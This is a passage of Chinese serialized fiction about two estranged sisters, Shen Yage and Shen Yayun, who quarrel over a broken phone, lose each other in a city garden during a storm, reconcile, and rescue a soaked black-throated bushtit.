父亲看了她一眼,大抵是不想让她担心,轻描淡写的说了一句,这话瞬间惹得母亲不悦。
“什么叫没什么事?雅歌在学校胃穿孔了我们才知道,你没听医生说吗,这病可不是一天两天能得的,肯定是这学校饭菜有问题,才害她得病……”
刘文慧皱着眉指责了一通,看样子恨不得立刻冲去学校将食堂检查一遍。
“行了,我看不一定是食堂问题,好端端的,也就雅歌这样,别的孩子没听说得胃病的。”父亲皱了皱眉,不赞同说道。
“沈文斌,你有没有心啊,雅歌这都手术了你还给学校辩解?”
刘文慧怒火上来,直接连名带姓的唤丈夫,沈雅韵忍不住相劝,却被父母的争吵打断。
“不是辩解,你这说的什么话,只是实事求是分析……”
“分析?”刘文慧像是被气笑了,“好好好,就算他们食堂没问题,那他们做老师的也有责任,好好一个人送到学校胃穿孔了,他们班主任在干什么?胃病的事为什么一点都不知情,这个老师的一点都不负责!”
“你这话说的,你自己也当老师的,情况不能这样论嘛……”
沈文斌有些无奈,在妻子激动的辩论下,声音也大了起来。
“不能这么论还能怎么论?沈文斌,那可是你女儿,你怎么能——”
“……妈。”话语被虚弱的呼喊打断,沈雅歌醒了。
她先是喊了刘文慧一声,转头看到妹妹后,眼眸闪过讶异和惊喜,苍白的面容带了笑,“韵韵。”
争吵的两人瞬间闭嘴,沈雅韵却没有回应她的呼唤。
她本就生气,经过父母的争吵和沈雅歌躺在病床上半死不活的样子,心底的火更是一簇一簇的烧。
妹妹不说话,沈雅歌的目光微微黯淡,刘文慧看在眼里忍不住训斥。
“你这孩子,你姐叫你也不知道应一声。”
她心里憋着火,此刻母亲的话更像是导火索一般,直接将心底的不满引爆,担心的心情到了口边全成了怨气。
“她自己不照顾好自己的身体,现在病成这样让你们担心,有什么好说的。”
怨气满满,不知道是烦沈雅歌不照顾好自己让大家担心,还是更烦她不照顾自己身体这件事本身,或许还是后者让她更恼怒一点。
别以为她不知道,沈雅歌的身体这样绝对是自己造成的。
沈雅歌这人没人叫她吃饭的情况下,是不会按时吃饭的,一定要饿得快低血糖了,才会慢吞吞地走出来找吃食。
这还是有一年父母有事不在家请了一个亲戚帮忙照看做饭,才让
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她发现沈雅歌的这个臭毛病,现在沈雅歌能把自己折腾成这个样子,一点也不奇怪。
在家的时候母亲都会叫她们吃饭,问题还不严重,现在可好,到学校了也这样,不出问题才怪。
“你这孩子怎么说话呢?”刘文慧很生气,“你姐姐生病了不知道关心一句啊?”
“她生病又不是我造成的,”她不服气,“不信你问问她,肯定是在学校不好好吃饭,才搞成这个样子,还怪学校,明明就是她自己的问题。”
“你怎么说话的?你和你爸今天存心气我是吧?”
“行了,我看韵韵说的也未必没有道理,问问雅歌怎么回事不就好了?”
“你闭嘴!”
“爸妈……”沈雅歌终于出声,看了一眼赌气不理会自己的妹妹,和在爆发边缘的母亲,深瞳幽光缓缓闪过,出声解释。
“跟其他人没有关系,可能因为少吃了一点吧,”她顿了一会,苍白的脸上露出不以为意的笑意,“其实也没什么,都是小事。”
她说的轻松,表情也像是在讲今天下雨了一样简单,完全没把住院手术这件事当回事,也完全没把他们的担心放在心上。
她这样刘文慧还没来得及说什么,沈雅韵却像是踩了地雷一般,面色瞬间沉了下来。
“爸,妈,你们管她干嘛,她自己都不在意,我们在这咸吃萝卜淡操心。”
“作业一堆还没写呢,我先回去了。”
当时说的气话,最后也被母亲拦了下来,可自此对沈雅歌这般自以为是、完全不考虑他人感受的行径深恶痛绝。此刻因着之前打了好几个电话沈雅歌都不接,新仇旧恨一起涌上心头,也不怪她没好脸色。
“吃饭吧。”
沈雅韵压着心底怒气,自顾自的夹着服务员刚递上来的菜,目不斜视,不给身旁人一点目光。
20. 第 20 章
“吃饭吧。”
说完这话,沈雅韵闷着头夹菜,不往旁边觑一眼。
沈雅歌看着她,身上因为跑动产生的热度渐渐降下,唇启了一半又缓缓合上,慢慢拿起一旁早已摆放好筷子,学着她的样子闷不作声的夹菜。
包厢安静,一时间只有两人细微的呼吸和咀嚼声。
吃了一会,沈雅韵忽而感觉不对,抬头看了一眼。
桌上一共就她刚刚点的两盘菜,这家餐厅走的是精致路线,菜份量不多,她们两人随便夹了两筷子,菜盘竟见了底。
……
放下筷子,转头看了一眼沈雅歌,沈雅歌碗里只有几根绿油油的青菜叶子,她低着头,有一搭没一搭的拨弄着碗里的菜,碗边连油都没沾上。
不能吧……
低头看向自己的小肚子,微微鼓起的小肚子让她的心沉重了些,不由想起了和刘姐分别时刘姐的叮嘱,瞬时有些心虚,轻抿了下唇,转眼看了眼沈雅歌,撇开脸不自在的轻咳两声。
“……服务员。”
门口穿着店内员工服饰的人连忙走进,沈雅歌也跟着抬起了头,略微有些疑惑。
沈雅韵看了一眼服务员,又看了一眼茫然的沈雅歌,别扭道。
“你点两个菜吧。”轻停了一会,在沈雅歌疑惑的注视下转开头,“你没来,我就点了两个菜,你再点点吧。”
闻言沈雅歌目中划过了然,伸手想接过菜单,却又好像想起了什么,伸出的手略带尴尬的缩了回来,对着安静等候的服务生道。
“我先看看,点好再叫你。”
“好的。”
服务生走出包厢,沈雅歌指尖搭在厚实的菜单封面上,目中闪过犹豫,转头看向放下筷子拿着手机不知道在看什么的妹妹,指腹在粗糙的皮质封面上来回摩梭了好几遍,才缓慢出声。
“韵韵,包厢有低消。”这里的包厢有最低消费,不便宜。
沈雅韵抬起头,眉心轻蹙,奇怪看向她,余怒未消,没什么好语气。
“怎么了?”
指腹摩挲的动作快了些,抿着唇,沉默了好一会,在沈雅韵越发疑惑的目光下,终于出声。
“可能要你付一下,”她说这话时,头轻低下,避开妹妹的视线,话语含糊,语速很快的又补充了句,“晚上再转给你。”
还在琢磨前一句到底是什么的沈雅韵,听到后面这句话瞬间黑了脸。
什么意思?
瞧不起她?
难道沈雅歌觉得她连一顿饭钱都付不起?
眼底瞬间冒了火星,怒瞪向沈雅歌,然而沈雅歌从说完那话后就低着头,一只手捂着额头,手抚着眉心,好似心虚一般,带着些许尴尬根本不敢看她。
见她这般,马上要喷薄出的怒气忽而停住,眼里闪过几丝犹豫,联想沈雅歌昨天到今天都不回自己消息的表现,疑窦渐生,想到一个可能。
“你,”她怀疑地看着她,“手机呢?”
是了,从进来开始就没见她把手机拿出来过,就算不喜欢看手机,也不担心有人联系?
听她问出这个问题后,沈雅歌明显松了一口气,抬起头看向一旁,盯着桌上的素白的茶杯,好似茶杯上有什么绝世花纹一般,若无其事道。
“拿去修了。”
“什么时候坏的?”
“昨天晚上。”
难怪不接电话不回消息,估计是发完消息之后她的手机就坏了,沈雅韵了然,因为她不接电话生的怒火少了一些,刚想问她昨天晚上怎么不拿去修,又想起昨天发完消息都十一二点了,没处可修,便也作罢。
“怎么坏的?”问完又觉得不对,看向桌上
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的菜单,语气软下来,“先点菜吧,晚点再说。”
沈雅歌这才将目光从茶杯上挪开,顺从着点了几个菜交给服务员后,看向怒气明显消了不少的妹妹解释。
“掉,泡面里了。”似乎有几分尴尬,沈雅歌抿了一下唇才说道。
意想不到的答案让沈雅韵喝着的水险些喷出来,震惊地看向她,不明白手机是怎么掉泡面里的,想了一会想到什么,古怪看着她问。
“你拿手机压泡面盖了?”
沈雅歌点头,呼出一口气,解释原委,“嗯,早上拿去修,本来说上午就能修好,没想到一直修到十点还是没好,再问说可能要下午,没具体时间,我便先赶过来。”
“没手机你怎么过来?”沈雅韵现在完全没有怒气,只剩好奇。
“坐公交,向路人借的现金。”
她说的随意,沈雅韵却顺势看向了她随意在椅背上价值不菲的大衣,想着她穿着昂贵的这一身衣服向路人借现金的模样,眼眸垂下,怒火渐渐消散。
“那也可以先打个电话给我呀。”她随意拨着筷子,问得漫不经心,抬眼覷她。
都能向路人借钱了,怎么就不能借打个电话给自己?
沈雅歌忽然沉默了下来,张了张口似乎想要解释,然而最终还是一句话没说。见她这样,沈雅韵消了一半的怒气重新升起,越燃越旺。
这人,这人——
不用说也明白了这人打的什么主意,肯定觉得手机能在上午修好,等修好了,就当什么事情都没发生一样和自己吃饭,只是没想到修理出了问题,不得不打乱计划匆忙过来,甚至到现在还得向她解释,肯定很憋屈吧……
她就活该担心她!
筷子拨打在餐盘上的脆响一声又一声,在沉闷的空气里像是急促的鼓点,只等一句话将怒火点燃。
21. 第 21 章
现在是春天,房间却依然开着暖气,闷热不已,忽然一阵冷风朝二人吹了过来,惹得两人都抬头向大门看去。
“两位,上一下菜。”
服务生端着菜盘走了进来,笑意盈盈。
一盘盘冒着热气、摆盘精致的菜品摆到了两人面前,门打开,风涌了进来。
服务员笑意盈盈的介绍着每盘菜的来历,沉闷的空气悄无声息顺着流来的风流了出去。
沈雅韵放下拨弄筷子的手,专心听着服务生的介绍,等人走出去后看向沈雅歌。
眸色浮浮沉沉,终于是无奈占了上风,栗瞳软了软,将菜盘放到离她近一点的地方。
“吃菜吧。”
看在她过来也不容易的份上,不跟她计较。
她不计较,沈雅歌也不再多言,不知道是怕多说多错还是心里有事。
两人无声的吃完一顿饭,最后还是沈雅韵拨了拨筷子,打破沉默。
“他们,没说什么时候能修好吗?”
问的是维修店那边,沈雅歌闻言摇头,沈雅韵无声叹了一口气,低头看时间,手机屏幕上显示下午一点。
时间倒是还早。
心里大致有数,抬头看了眼沈雅歌,不知道是不是因为自己生气的缘故,一顿饭下来沈雅歌安静得近乎于乖巧,不过她深知这都是假象。
沈雅歌这样,不过是因为自己生气才摆出的认错态度,实际根本就不知道自己错在哪。
属实是“我错了,下次还犯”的典型。
不过这事这么多年了,也不知道如何说,总不能说她这样没个消息,自己会担心吧?
她才不要……
瘪了下嘴,看眼时间,想了想提议道,“那我们在附近逛一逛再过去?”
她们此刻所在的餐厅处于c市最著名的景点园林,一抬头便是如画的风景和不被汽车尾气污染过的清新空气。
想来沈雅歌将餐厅订在这里,就是为了方便她们游玩。
在她提议后,沈雅歌果然点头。
两人达成一致,沈雅韵走出包厢结账,沈雅歌穿上大衣跟在妹妹身后。
c市最著名的景点就是位于市中心的这几大园林,景点人多,附近房价昂贵,用餐也昂贵,但相对来说方便得多,毕竟抬头就能看到园林内风景、抬步就在景区的餐厅也没几个了。
两人走进园林。
春三月的天气依然带着寒冬未离的寒气,但掩藏在枝条下的芽孢依旧顶着未散的寒气冒出头,形成一片嫩绿的园景。
层次分明却又掺杂在一起的绿意甚是鲜明,再配合精致的园林建筑,步步皆景。
两人一路走一路看,走了不知道多久,终于在走到一处写着‘风雨亭’的八角亭后,两人停下来。
‘风雨亭’前面是一座假山,侧边是一座古建筑楼阁,环境清幽。
沈雅韵停下脚步,顺势在亭子里坐下,揉了揉了自己的后脚跟,不再起身。。
她平时除了拍戏甚少运动,此刻走了一个多小时便有些吃不消,不仅累还渴。
关键进来时忘了带水,路上倒是有看见自助售卖机,可那时不觉得渴,也没想起要买瓶水这事,后来一直走到这里等现在渴了,距离那售卖机都不知道多远了。
渴得难受,坐着往前后左右眺望。
她自己是个路痴,导航也看不明白,便手机也不看的随意走,反正看风景嘛,看什么不是看。现在好了,也不知道走到了哪里,附近别说商铺了,就是买水的人也不见一个,无奈,沈雅韵只好收回视线,幽幽叹了一口气,转头望向沈雅歌。
“你渴吗?”
她目光澄澈,浅淡的眸光中隐约可见几分故作深沉的狡黠,明显打着什么主意。
沈雅歌眨了眨眸,哪怕只在幼时见过妹妹这般可爱模样,却也瞬间明了她的想法,勉强压下翘起的唇角,配合着伸出手,手心摊开。
光洁修长的手掌摊开在绿荫下,沈雅韵摸了摸鼻子,讪讪从一旁口袋拿出手机递给她。
她实在走不动了,刚刚下阶梯时两腿都在打颤,要不是沈雅歌扶了自己一把,险些跪下行个大礼。
“帮我带一瓶,矿泉水就好,
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密码是xxxxxxx。”
“我就在这里等你,谢谢~”
她报出一串数字,沈雅歌点头表示记住,随即带着手机走向了前面的假山。
假山蜿蜒曲折,她走了两步便不见了身影,沈雅韵坐在亭子中,因为没了手机,只能欣赏周边风景,好在风景确实不错,倒也不算无趣。
走出假山,沈雅歌打开导航查看。
按照导航指示,最近的售卖点距离这里都要2公里,偏生这地方靠近未开发的山林,连共享单车都无,只好顺着导航一路走一路看。
走了大概十分钟,虽然没有看到自主售卖机,但运气不错的发现了一辆共享单车。
有共享单车再去售卖点便快多了,又骑行了十多分钟,终于到了售卖点,售卖点是经营着的一家小商铺。
沈雅歌买了些水和吃食往回赶,心无端有些焦急。
她过来便用了近二十分钟,回去哪怕再快也要十几分钟,一来一回便半个多小时,也不知道雅韵待在那个地方怎么样了?
手机还在自己这,韵韵会不会无聊?偏生这地方只允许自行车及行人进入,便是想打车快一点也不能。
棕眸晦暗,思及此不由加快了脚下踩踏板的速度。
林间的山水飞快从自己身边掠过,然而沈雅歌还是感觉时间好似过了很久,直到看到熟悉的假山,心里这才安定不少。
把车辆随手放在一旁,锁上,提着东西往假山内走。
这处假山不大却胜在极高,从假山前面完全看不到后面的景象,只能看到高大的楼阁和‘风雨亭’最顶上的一角。
走在假山内的小路上,骑行在车上不见踪影的汗水此刻疯狂冒出,一点一滴从额间脖颈往下滑。汗水滴在石块泥土铺成的小路上很快消失不见。
走出假山,身上的汗液终于停止冒出,然而不过瞬间,散发着热气的身体陡然转寒,手上提着的东西忽然沉重无比。
‘风雨亭’矗立在山林间,清脆悦耳的鸟鸣和不知何种动物的叫声互相应和,交映成趣,只是……
人呢?
22. 第 22 章
‘风雨亭’安静站立在楼阁和假山间,清风从亭子中间毫无障碍穿过,亭子内空无一人。
韵韵去哪了?
看不见妹妹身影,沈雅歌瞬间慌了神,三步并两步走到亭子中间查看。
亭子里除了飘落下的树叶外,别的什么也无,从四周望下去,只有成片的林木和隐藏在其中通往不知名方向的小道。
“韵韵——”
“沈雅韵——”
她喊了两声,四处查找起来。
附近的楼阁有两层,一楼开放着,里面空空荡荡,除了摆放的几张木桌外,什么也没有,上二楼的楼梯用铁栏杆封锁了,看不到上方景象。
沈雅歌一边喊一边将一楼的各个角落转了一遍,没见到人便走向假山,假山也没人,只能顺着‘风雨亭’后面的小路一路找去。
会去哪呢?
耳边是自己呼哧呼哧的喘气声,装着食品的白色塑料袋还提在手上,蓝色外壳的手机握在另一只手却并没有给予多少安慰,甚至比早上没有手机时更加无助。
她不由后悔把手机拿走,万一韵韵要是遭遇不测,手机不在她身边连求救电话都打不了,然而此刻便是后悔也无济于事,只能压着心底的焦虑继续往前找。
小路分岔众多,找了不知道多久,即将绝望之际,终于在高大的松树底下看到穿着单薄的人影。
也顾不得妹妹为什么不回应,沈雅歌克制住心里的巨大惊喜,连忙上前。
“雅韵——”
声音叫到一半戛然而止,不,不是她……
那是一张陌生的温柔面孔,和沈雅韵精致俏丽一点也不一样。
大概是看出她的焦急,穿着素白大衣的陌生女子主动询问出了什么事。
压制住心底的失望,怀着最后一丝渺茫希望向好心女子描述了关于雅韵的穿着长相,然而不出意外女子摇了摇头,表示没见过这么一个人。
风声大了起来,白衣女子仰天看了看天色,不由好心劝慰。
“要不再回原地看看呢?没准她已经回去了。”
沈雅歌听了这话没有反驳,眸色暗沉,没说自己已经回去找过两次了,只是压着心底的难受向女子道谢。
女子看了看她,又看了看天,突然从一旁的包里拿出一把伞递给她,“这天快要下雨了,你拿着吧。”
伞并不大,看着只是平时遮阳用的,沈雅歌不肯接,白衣女子笑了笑,“我有地方去,用不着伞,拿着吧,况且你还要找一会吧,下雨了,路可就不好走了。”
白衣女子的话温柔却带着稳定人心的力量,沈雅歌犹豫了一会还是接下了。
“谢谢你。”
女子只是温柔一笑,转目看向远处的山林,眸光深远,“亲人就是这般,平日里也不见得多频繁联系,但要是联系不上,那人就该乱了,关心则乱,就是这个道理。”
女子的话娓娓道来,沈雅歌却没有太多心思寒暄,道过谢后便想离开继续找人,但人家好歹还赠了自己一把伞,便是离开也得客气一下,只是不等她开口,不远处忽然传来一声男声。
“白……”
正走过来的男子在巨大的树影遮挡下看不清面貌,但只看周身的气质便知不凡。
男子看见她后猛然止声,看了看白衣女子又看了看她后,站在原地不动。
白衣女子见状朝她莞尔一笑,“来接我了,先走了。”
女子走到男人身边,两人互携着手走上往下行的小道,小道蜿蜒,不过几个转弯便没了二人身影。
那条路她刚刚走过,通向山林深处的一处宅院,那宅院很隐秘,门前有人守卫。
她与那门卫询问过雅韵身形样貌,门卫回答客气不失威严,一看便不是普通人,在得知雅韵没有来过此处后,便也不敢多待,连忙离开,刚刚那女子说的去处,怕就是那了。
不过她现在也没多少心思琢磨两人的身份,巨大希望后带来的失望将她压坐在一旁的石块上。
面前是连绵起伏的山林,巨大幽深的森木阴影将整片土地遮住,暗无天日。
内里的衣裤因为不停的走动早已汗湿,黏腻的黏在皮肤上,此刻停下,寒意随着腚下冰冷的石块侵入骨髓,然而现在的她却管不了这些。
脑海中各种不测浮现,一向追求逻辑高效大脑,此刻因为长久不见人影,慌乱下空白一片,连绵成片的高大林木此刻像是一个迷宫,好似要将人永久的困在这个地方
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。
会去哪呢?
不知道是不是刚刚和白衣女子的交谈打破了空白的思绪,此刻反而平静了几分。
雅韵身上没有手机,她应该不会走太远,这边山地虽然说是没开发,路却是建好了的,沿路每隔三、五十米便有隐藏在树上的摄像头,更何况她这次来c市调查时便隐约听说过这片林区内驻扎的几个家族,这几家可都与军方相关,在这种地方做违反乱纪的事,无异于太岁头上动土。
心下稍安,顺着刚刚思路继续想,自己走之前也没跟雅韵说要去多久,所以很有可能是雅韵这么久看不见自己人,去找自己了,而她又因为没见到雅韵,去找雅韵,她们这样绕来绕去,刚好错开方向也不一定。
呼出一口气,有了思路,心底终于没那么慌了,提着东西和伞准备回去‘风雨亭’再等等看,再不见人便报警,警方找起来总比她自己这样无头苍蝇似的乱找好。
打定主意往回走,周遭风林涌动,天色昏暗,怕是不久就有一场大雨淋下。
无人的寂静中,沈雅歌脑海忽然莫名响起白衣女子刚刚的话,关心则乱……还真是乱了……
自嘲着自己的慌乱,脚踩在坚实石块砌成的小道上慢慢往回走,疲惫不安间,脑海忽然一道闪电划过,面色即刻变得苍白。
忽然明白了早上雅韵为何生气。
自昨晚手机故障后,她是一点也没把这事当回事。
和大部分人不同,她平日里除了工作消息外,甚少看手机,休息时宁愿跑去山上蹲鸟,也鲜少捧着手机看一天,更何况手机故障那天,这边的工作已经结束,该报告的自有其他人报告,就更不把这事当什么严重的事。
检查手机确定开不了机后,便打定主意第二天送去维修,安心睡下,一直到第二天见雅韵之前都不觉得这是什么大事。
虽然路上因为维修时间上出了一点小小的意外,导致迟到了一小会,但大体都在掌控之中。
所以她不明白只是迟到了一小会,雅韵为何会那般生气,直到此刻……
关心则乱,原来……是这样……
不关乎信任,也不关乎自己可靠与否,只是因为担心,因为关心所以担心,仅此而已……
23. 第 23 章
命运的回旋镖精准扎在身上,沈雅歌又急又悔,快步走到‘风雨亭’,‘风雨亭’依旧安静矗立在山林前,不同的是亭子外多了一个来回走动的身影。
在看到亭子人影后,慌乱了很久的心终于彻底落下。
还好……
*
风起云涌,看样子很快就要下雨了,沈雅韵不安地在‘风雨亭’附近走动,眉头紧皱。
沈雅歌一走走半小时,忍不住担心这人是不是出了什么意外,但又想到沈雅歌不报平安的作风,便耐着性子又等了十来分钟,还是不见人影,这才坐不住,忍不住动身前去寻找。
附近的山林都走了一遍,走了近半小时还是没看到人,手机又给她拿去了,一时十分被动,只好回到‘风雨亭’碰碰运气。
好在不知道是上天眷顾还是心有灵犀,这次只等待了不到五分钟的时间便看到沈雅歌匆匆而来的身影,瞬间大喜过望,又急又气又委屈。
“你去哪了……”责怪的话音落在潮热的怀抱里,一时哑声。
“对不起,对不起……”
充满歉意的话语落在耳侧,沈雅韵忍不住瞪大了眼,沈雅歌在道歉?
因为着急差点要涌出眼眶的湿润此刻因为震惊瞬间吓了回去,她忍不住想看她的神情,然而沈雅歌将她拥得很紧,像是抱着什么失而复得的宝物,勒得她险些翻了个白眼。
“放,放开!”用力往前推了两下挣扎开,没好气的瞪了一眼面露愧色的沈雅歌。
这么大人了,抱什么抱,她又不是小孩子。
而且别以为一个道歉一个拥抱就能把这事翻篇,没门!
一想到早上和刚刚的事,沈雅韵便气不打一处来,怒火中烧。
“去哪了?怎么去这么久?你知不知道这是很不好的行为,你,你知不知道这样会让人担心?”她说担心两字声音骤然缩小,几分不自然,不过很快怒火占了上风,音量马上又大了起来,“沈雅歌,你要是出事了我怎么跟爸妈交代,你自己不在意就算了,到时候妈她肯定会骂死我,我说你……”
她还想说什么,却被沈雅歌的道歉打断。
“对不起。”沈雅歌张口道歉,这大概是她活这么多年说‘对不起’最多的一天。
她张了张口还想解释两句,忽然面上感到一阵清凉,抬头一看,昏暗的云层下,远处的雨势已追到近前。
沈雅韵也感到了雨滴落下,训斥的话暂时封在唇舌间,也顾不上骂她了,连忙把人拉进‘风雨亭’。
豆大的雨滴紧追而来,落在地上声势浩大,溅起三四十厘米的水花。
雨势很大,小小的‘风雨亭’如同摆设一般,完全暴露在雨水之下。
幸好‘风雨亭’一旁的楼阁不知道是不是没人看管的原因一直没有关,那地方沈雅歌找沈雅韵时仔细看过,空间很大,不管怎样绝对比‘风雨亭’遮雨效果要好。
二人顶着越来越大的雨势连忙跑进楼阁内,楼阁一楼确实很大,而且门窗都是好的,一进来两人便感到暖和不少,瞬间放松不少。
有地方避雨后,沈雅歌这才向沈雅韵解释刚刚找她的经过,两人细细一核对,发现二人走的方向完全相反,难怪怎么找都不到。
“既然这么远就不要去了,又不会马上渴死……”听她说为了给自己买瓶水,跑了这么远地方,沈雅韵有些抱怨的道了一句。
不过现在说这个只是马后炮,沈雅歌忘了说,她也忘了叮嘱一句,两人就这么阴差阳错的找了这么久。
“找了你半天没看到一个人,”外面雨下着,沈雅韵刚刚激动的心情已经平复,因为着急而湿润的眼眶此刻也干了,也缓缓说着刚刚找她的经过,“本来要是能遇到个人给你打个电话就好了,谁知道这边人一个没有,吓死我了。”
她拍了拍胸脯,心有余悸说道。
“对不起。”沈雅歌低着头道歉。
听她道歉,沈雅韵又看了她好几眼,心底惊奇又说不出的古怪。
太阳今天打西边出来了,沈雅歌都会道歉了……
想起少年时刘文慧女士批评沈雅歌,结果她一字一句有理有据把刘文慧女士气得哑口无言的模样,再看她现在低着头道歉的样子便觉得惊奇。
那是什么事来着?她仔细回想了一下。
哦,想起来了。
那是沈雅歌高中时发生的事。
那一次是因为沈雅歌和同学一起探讨题目还是什么,天色太晚,她同学和她家里人一起挽留,沈雅歌就直接在同学家睡下,给母亲发了一条消息。
然而问题就出在她发完消息就不再看手机,刘文慧女士只得到一条她在同学家睡的消息,连那同学住哪,是男是女都不知道,这可把身为人民教师的刘文慧女士气得不清。
哪怕沈雅歌第二天早上一看到消息就回复也没能减轻她一丝怒火。
这是沈雅歌第一次夜不归宿,刘文慧女士很生气,但是她再生气也做不出打骂她的事,只好跟沈雅歌讲道理。
结果……沈雅歌不仅回来后跟无事人一般,对于母亲的批评更是一条条怼……反驳了回去。
这事她记得很清楚,因为那是沈雅歌为数不多被批评的时候,她那时可幸灾乐祸了,可惜还是没看到沈雅歌吃瘪的样子。
不过沈雅歌也就那一次夜不归宿,后来她不知道是嫌烦还是真把母亲的话听了进去,总之没再发生过这样的事了。
真是难得,还会道歉了……
因着她道歉,沈雅韵抱怨的话反而无从说起,口张了口又闭上,目光移开,落在装着水和食品的白色塑料袋上,清咳两声,清了清嗓子道。
“也不能全怪你啦。”
“你都说了让我在原地等着,我不应该乱跑的。”她摸了摸鼻子,从袋子里拿出一瓶水,“不说了,就这样吧。”
人没事就行。
沈雅韵不想在这事上纠结,仰头拿着水瓶喝水。
刚刚说的是假话,她确实快渴死了,尤其还找了沈雅歌这么久的情况,还能说得出话都得益于她平时拍戏锻炼出的体力。
瞬间一大半的水喝进嘴里,干渴的感觉这才缓解了大半,舔了舔终于不再干燥的嘴唇,低头时放下水瓶时目光不经意瞥到沈雅歌腕间鲜红的勒痕,顿时又有点说不出的在意。
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“是不是傻,把袋子放在亭子里再去找不就好了,干嘛提着,累不死你……”
沈雅歌顺着她的目光沈雅歌看向自己的手腕,目光闪烁了一下,手腕翻转,将没有勒痕的一面朝上,若无其事道,“忘记了……”
她确实忘了,那时着急,哪还能想这么多,如今想想要是那时候就把袋子留在亭子里,看到袋子的雅韵便会亭子里等着,她们两个或许也不用互相找彼此这么久。
楼阁一楼空间不小,便是这么大的雨也只是吹湿了门口半米距离,完全淋不到她们二人。
因为沈雅歌带回来的水和吃食,面对这一场突如其来的大雨,松懈下来的二人倒真有几分闲情看起雨来。
雨打在树叶,打在屋檐上,如同一曲和谐的交响乐,让人的心不由自主平静下来。
“你明天什么时间走?”沈雅韵看着雨势,心情渐渐放松,因为刚刚的紧张刺激,此刻放松下来竟然有几分昏昏欲睡的感觉,她放空大脑,看着雨势随意问道。
沈雅歌之前说过明天的飞机来着,但她忘记具体是几点。
“明天下午一点二十的飞机。”
“一点二十……”沈雅韵点点头,困顿的脑子不经思考道,“正好送完你后,接乔霖哥。”
……
沈雅歌握着水瓶的手蓦然收紧,眼眸渐渐眯起,“乔霖要来看你?”
“是啊——”沈雅韵说到一半猛然捂住自己的嘴,忐忑去看她的反应
自己怎么把这事说出来了?过年的时候沈雅歌就因为不愿意自己和乔霖哥来往,和自己大吵一架。
忍不住小心翼翼覷向沈雅歌,生怕她又责怪自己和乔霖接触,然而意外的是沈雅歌只是静静的喝着水,看着门外的雨势,似乎完全不在乎乔霖要来的消息,只是随口一问,随耳一听。
“怎么了?”
见她直勾勾的看着自己,沈雅歌扭过头来询问,沈雅韵忍住心底的讶异连忙摇头。
“没什么,这雨可真大啊。”
她假装轻松的看向门外,沈雅歌看了眼她,松开手下的瓶子,扁扁瓶子松开瞬间恢复原先的圆润。
她往门口看去,漫不经心接道:“是啊——”
目光好像看见了什么东西,略微凝住,眉心瞬间拧了起来。
“诶,你去哪?”
看看看着雨,沈雅歌忽然拿起不知道哪里来的雨伞走出门,沈雅韵顿时一惊,下意识想跟着她一起,然而门外瓢泼大雨阻挡了她前行的步伐,只能无奈看着沈雅歌撑着伞走出门。
好在沈雅歌走出的距离不算远,就在假山附近。
隔着朦胧雨幕,她看不清她在做什么,只能看见她撑着伞走到假山右侧蹲了下来。
假山右侧是一片巨大的她叫不出名字的林木,林木枝叶繁茂,高耸入云,便是在风雨的吹打下依然挺着身躯,不弯不折。
沈雅歌蹲在林木下,左手撑着伞,右手好像捧着什么东西慢慢走了过来。
沈雅韵一直关注着她的动静,等在她走近后终于看清楚她手上捧着的是什么。
一只鸟。
一只被雨淋湿的小鸟。
24. 第 24 章
一只红黑白花纹的小鸟,小鸟的羽毛被雨水打湿,羽毛耷拉在身上,一副萎靡不振的模样,想来是没有及时回到巢穴,被突如起来的暴雨淋成这般。
然而哪怕是这般狼狈的情况下,也无损这只小鸟的可爱,沈雅韵看得心头欢喜不已,可想而知若是羽毛干了的情况下,这鸟站在树梢时不知该多少美丽。
“它怎么了?”
沈雅歌捧着全身湿漉漉的小鸟走进来,将伞放至一边,沈雅韵见状将伞收起,蹲在一旁看她怀里的可爱小鸟。
沈雅歌用自己的衣服给小鸟擦了一遍,将小鸟小心放在地上。
小鸟好似有几分呆滞,爪子落在地上也不走也不飞,沈雅歌不出声,眉眼间的凝重不消,沈雅韵见状虽然好奇却也没敢询问,和她一起安静的看着小鸟。
过了一会,小鸟终于有了动静,先是试探着走了两步,然而不等两人为它高兴,便一个趔趄重心不稳摔倒在地。
见状沈雅歌再次将鸟捧在手心,看向一旁的一同蹲着的妹妹。
“袋子里有纸巾,你拆开给我。”这鸟湿透了飞不起来,只有等它彻底干透才行。
“噢。”
沈雅韵闻言连忙打开塑料袋将她说的纸巾拿出,连抽了好几张递给她。
沈雅歌接过纸巾,先是小心的将鸟羽毛用纸巾都擦了一遍,尤其是腹部这些柔软的地方,随后又拿几张纸再次擦拭了一遍,随后将纸巾垫在鸟身上吸附水份。
可惜没有什么保温的东西,沈雅歌有些遗憾刚刚在售卖点没装点热水过来,不然此刻刚好能用上。
没有保温的东西只能将它放在怀里,希望这小家伙能撑过去。
“这是什么鸟?”沈雅韵好奇询问。
说来也怪,她并不认识任何鸟类,此刻看着卧在沈雅歌怀里的小小鸟,喜欢的同时却莫名有些奇怪的眼熟。
随口一问,不指望沈雅歌能认识,但意外的是沈雅歌竟然精准的说出了这只鸟的名字。
“红头长尾山雀。”她看着她,将这鸟的名字道出。
“噢。”沈雅韵愣了一下,噢了一声,继续看着小鸟。“这鸟好可爱啊~”
闻言沈雅歌眼底也多了几分笑意,“嗯,小熊猫。”
“小熊猫?”沈雅韵迷茫。
“有些人这么叫它。”沈雅韵解释。
“噢,小熊猫……”沈雅韵反复咀嚼着这个特别的称呼,“鸟里的小熊猫,难怪这么可爱~”
头顶一簇红栗色的毛发,蓝灰色的羽毛,腹部的毛呈栗色,比她眼睛的颜色深一点,眼圈是黑的,鸟喙下缘也有一处黑羽,原本还不觉得,此时仔细一看,再联想‘小熊猫’的称呼,便这称呼再形象不过了。
“它吃什么呢?”她好奇。
“主要吃昆虫。”
“那它这样没事吧?”
“等羽毛干了能飞就好了。”
“它好像个小团子~”说着沈雅韵皱起了眉,奇怪的熟悉感再次涌上心头,好像在哪里见过……在哪里呢?
百思不得其解,她并不关注鸟,鸟从头顶飞过她也鲜少抬头看一下,按理不应该有这种似曾相识之感。
可这种感觉又如此强烈,让她说是错觉都不可能。
沈雅韵蹲着仔细看着沈雅歌怀里的小鸟,仔仔细细地看,忽然脑中灵感一闪,连忙打开手机翻开大眼。
在翻到‘北山尾’账号后,对着她的头像和沈雅歌怀里的小鸟仔细对比后问沈雅歌。
“它和北山尾山雀是什么关系?”
沈雅歌抚着红头长尾山雀的手一顿,转头看向她。
沈雅韵一脸认真看着红头长尾山雀,除了好奇外脸上没有更多的其他情绪,沈雅歌提起的手慢慢放下,慢慢擦着红头长尾山雀的羽毛。
“……同属长尾山雀科。”
